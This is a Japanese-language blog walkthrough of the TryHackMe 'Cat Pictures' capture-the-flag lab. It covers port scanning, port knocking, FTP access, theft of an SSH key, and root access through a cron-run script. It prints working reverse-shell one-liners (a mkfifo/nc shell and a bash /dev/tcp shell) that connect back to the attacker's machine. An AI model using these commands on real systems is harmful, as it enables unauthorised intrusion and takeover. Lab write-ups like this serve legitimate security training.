TryHackMe(THM):Cat Pictures

Task 1 Deploy the machine!

Kali Linuxを起動します。


Task 2 Flags, flags, flags!

Flag 1

 まずnmapを実行します。

 # nmap -p- <$TARGET_IP>

f:id:akebono-haze:20210610205259p:plain

 21番ポート(ftp)、22番ポート(ssh)、2375番ポート(docker)、4420番ポート(nvm-express)、8888番ポート(http-proxy)の5つのポートが解放されています。

現在解放されているポートに対して、バージョン情報等の細かい内容を確認するため再度nmapを実行します。

 # nmap -sC -sV -p 21,22,2375,4420,8080 <$TARGET_IP>

f:id:akebono-haze:20210610205949p:plain


Web(8080番ポート)が解放されています。ブラウザでアクセスしてみます。

f:id:akebono-haze:20210610210012p:plain

ログイン画面が表示されましたが、ユーザ名/パスワードがわからないので、いろいろアクセスしてみます。

1つ掲示板情報が投稿されていました。

f:id:akebono-haze:20210610210031p:plain

行き詰ってしまったので先人の知恵を拝借すると、「ポートノック」を利用するらしいです。

わからないので検索すると以下のURLを見つけました。 

www.howtogeek.com

ワンライナーで実行できるらしいので以下のコマンドを実行します。

 # for PORT in 1111 2222 3333 4444; do nc -vz <$TARGET_IP> $PORT; done;

f:id:akebono-haze:20210610210344p:plain

再度nmapを実行してみます。

 # nmap -p 21,22,2375,4420,8080 <$TARGET_IP>

 何度か実行してみると、22番ポートがOPENになりました。

f:id:akebono-haze:20210610210806p:plain

FTPでanonymousで接続してみます。

lsコマンドを実行してみると、1つファイルが見つかったのでダウンロードします。

f:id:akebono-haze:20210610210847p:plain

 ファイルの中身を確認すると、 4420番ポートに対するパスワードが書かれていました。

f:id:akebono-haze:20210610211058p:plain

ncコマンドで4420番ポートに接続してみます。

 # nc -nv <$Remote_IP> 4420

 パスワードの入力を求められるので、先ほど見つけたパスワードを入力します。

f:id:akebono-haze:20210610211243p:plain

別のターミナルを起動してnetcatコマンドを実行して接続を待ちます。

 $ sudo nc -lvnp <$PORT>

f:id:akebono-haze:20210610211406p:plain

リモートマシン側のターミナルに戻って以下のコマンドを入力します。ポート番号はnetcatコマンドを実行したときのポート番号と合わせておきます。

 $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <$Local_IP> <$PORT> >/tmp/f

f:id:akebono-haze:20210610212326p:plain

ローカルPC側のターミナルを確認すると接続があり、root権限を取得しています。

f:id:akebono-haze:20210610212742p:plain

先ほど見つけたrunmeファイルをcatコマンドで実行してみます。

 # cat ./runme

f:id:akebono-haze:20210610212911p:plain

パスワードらしい文字列があったのでメモしておきます。

runmeファイルを再度実行するとパスワードが求められますので、先ほどメモしたパスワードを入力します。

f:id:akebono-haze:20210610212941p:plain

ディレクトリ内のファイル一覧を表示させると、「id_rsa」ファイルがあったので中身を確認します。

f:id:akebono-haze:20210610213137p:plain

ファイルの中身をカット&ペーストしてローカルPC内に保存します。

ファイルの権限と所有者を変更します。

sshで接続しますが、先ほどローカルPC内保存したファイルを使用します。

f:id:akebono-haze:20210610213222p:plain

root権限を取得しました。

rootディレクトリ内のファイルを確認すると、flag.txtファイルを見つけました。

中身を確認します。

f:id:akebono-haze:20210610213351p:plain

 

Root Flag

先人の知恵を拝借すると、/opt/cleanディレクトリにシェルスクリプトファイルがあるので、これを流用するそうです。

別のターミナルを起動してnetcatコマンドを実行します。

 $ nc -lvnp <$PORT>

f:id:akebono-haze:20210610214444p:plain

/opt/clean/clean.shファイルの中身を見ると、/tmpディレクトリ内をクリアするスクリプトファイルのようです。

f:id:akebono-haze:20210610213831p:plain

リモートマシン側のターミナルに戻ってこのファイルに以下のコマンドを入力して保存します。

 /bin/ bash -c '/bin/bash -i >& /dev/tcp/$Local_IP/$PORT 0>&1'

viで編集を試みますが、インストールされていませんでした。 echoコマンドでclean.shファイルに書き込みます。

少し経つと、接続確認できました。

f:id:akebono-haze:20210610214524p:plain

現在のディレクトリを確認するとroot.txtファイルが見つかりました。

f:id:akebono-haze:20210610214558p:plain

完了!